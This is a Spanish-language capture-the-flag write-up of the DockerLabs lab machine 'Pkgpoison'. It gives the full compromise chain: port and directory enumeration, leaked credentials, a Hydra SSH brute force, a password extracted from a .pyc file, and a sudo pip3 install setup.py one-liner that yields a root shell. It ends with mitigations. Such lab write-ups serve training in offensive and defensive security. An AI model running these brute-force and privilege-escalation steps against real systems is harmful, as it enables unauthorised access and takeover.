Skip to content

Pkgpoison

This content is not available in your language yet.

Este documento presenta la resolución completa de la máquina Pkgpoison, desarrollada por RSA para la plataforma DockerLabs y clasificada con un nivel de dificultad fácil.

El análisis sigue una metodología progresiva que abarca desde el reconocimiento inicial hasta la escalada de privilegios, con el objetivo de comprender de forma estructurada las vulnerabilidades explotadas y el flujo completo de compromiso del sistema.

Los objetivos principales de este write-up son:

  • Identificar los vectores de ataque expuestos desde el entorno inicial.
  • Analizar los servicios disponibles y los archivos accesibles públicamente.
  • Obtener acceso inicial mediante fuerza bruta tras el hallazgo de credenciales expuestas.
  • Escalar privilegios desde un usuario estándar hasta root aprovechando configuraciones inseguras de binarios ejecutables mediante sudo.

La metodología se divide en las siguientes fases:

  1. Reconocimiento: Enumeración de puertos, análisis de rutas web accesibles y búsqueda de información expuesta.
  2. Explotación: Descubrimiento de credenciales, validación de accesos y obtención de una sesión interactiva dentro del sistema.
  3. Escalada de privilegios: Análisis de permisos, identificación de artefactos útiles y abuso de configuraciones SUDO relacionadas con pip3.

Todas las acciones se realizaron dentro del entorno aislado proporcionado por DockerLabs.


AtributoValor
NombrePkgpoison
AutorRSA
DificultadFácil
Fecha30/05/2025
PlataformaDockerLabs

Se descomprime el archivo de la máquina:

Ventana de terminal
unzip "Pkgpoison.zip"

Luego se despliega el contenedor utilizando el script proporcionado:

Ventana de terminal
sudo bash auto_deploy.sh "Pkgpoison.tar"

El script devuelve la IP interna asignada, que será utilizada a lo largo de todo el proceso.

IP asignada


Para mantener un flujo de trabajo ordenado, se genera una estructura de directorios donde almacenar cada pieza de información:

Ventana de terminal
mkdir -p Pkgpoison/{content,exploits,nmap,gobuster,scripts}
cd Pkgpoison

Se inicia un reconocimiento de puertos completos mediante Nmap:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Puertos identificados:

  • 22/tcp — SSH
  • 80/tcp — HTTP

Puertos abiertos

Estos puertos serán los vectores iniciales de análisis. SSH puede ser útil si logramos obtener credenciales, mientras que HTTP permite enumerar contenido accesible.


Se realiza un primer análisis de rutas con Gobuster:

Ventana de terminal
gobuster dir \
-u http://172.18.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
-x php,html,txt,js \
-t 200

gobuster scan

Entre los resultados se observan:

  • /index.html — Página principal minimalista, sin funcionalidad útil para explotación.
  • /hidden — Directorio sin permisos de lectura, lo cual sugiere la existencia de información sensible.

Para continuar la enumeración, se decide profundizar en otras rutas. Durante el análisis se detecta el directorio /notes, donde se encuentra un archivo note.txt:

note.txt content

El archivo contiene una nota que revela credenciales que deberían haber sido cambiadas, lo que sugiere un descuido administrativo:

Usuario: dev
Contraseña: developer123

Estas credenciales representan un punto de entrada potencial.


Se intenta acceder por SSH con las credenciales encontradas, pero la contraseña ha sido modificada. Por ello se procede a realizar un ataque de fuerza bruta controlado con Hydra:

Ventana de terminal
hydra -l dev -P rockyou.txt ssh://172.17.0.2 -t 64

hydra result

Hydra encuentra una contraseña válida:

  • Usuario: dev
  • Contraseña: (detectada en el ataque)

Ahora se establece la conexión SSH:

Ventana de terminal
ssh dev@172.17.0.2

ssh connect

Con esto obtenemos acceso al sistema como el usuario dev, lo que representa el acceso inicial.


Para continuar con la escalada, se buscan archivos pertenecientes al usuario admin:

Ventana de terminal
find / -user admin 2>/dev/null

Find result

Dentro de los resultados destaca:

/opt/scripts/__pycache__/secret.cpython-38.pyc

Aunque se trata de un archivo compilado (.pyc), es posible extraer su contenido.

Tras analizarlo, se identifica una contraseña en texto plano:

admin → p@$$w0r8321

Con esta credencial se procede a cambiar al usuario admin:

Ventana de terminal
su admin

admin bash

Ahora contamos con un usuario con mayores permisos, lo que permite continuar la escalada.


Al revisar los permisos sudo del usuario admin:

sudo -l result

Se observa que puede ejecutar pip3 install como root sin necesidad de contraseña. Este es un vector de escalada muy conocido, ya que permite ejecutar scripts arbitrarios durante la instalación de un paquete.

Para explotarlo, se crea un paquete temporal:

Ventana de terminal
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip3 install $TF

Al ejecutarse, setup.py se corre con permisos de superusuario, otorgándonos una shell root.

root access


  • Existencia de archivos sensibles accesibles públicamente en /notes.
  • Uso de contraseñas débiles y credenciales expuestas en texto plano.
  • Falta de rotación o actualización de contraseñas administrativas.
  • Permisos excesivos en sudo, permitiendo ejecutar pip3 sin autenticación.
  • Almacenamiento inseguro de contraseñas dentro de archivos .pyc.

  • Evitar almacenar credenciales en archivos accesibles desde el navegador.
  • Implementar políticas estrictas de contraseñas fuertes y rotación periódica.
  • Limitar permisos sudo únicamente a operaciones realmente necesarias.
  • Configurar alertas para detectar archivos sensibles dentro del árbol web.
  • Revisar y eliminar binarios, scripts o configuraciones que puedan ser explotadas para escalada de privilegios.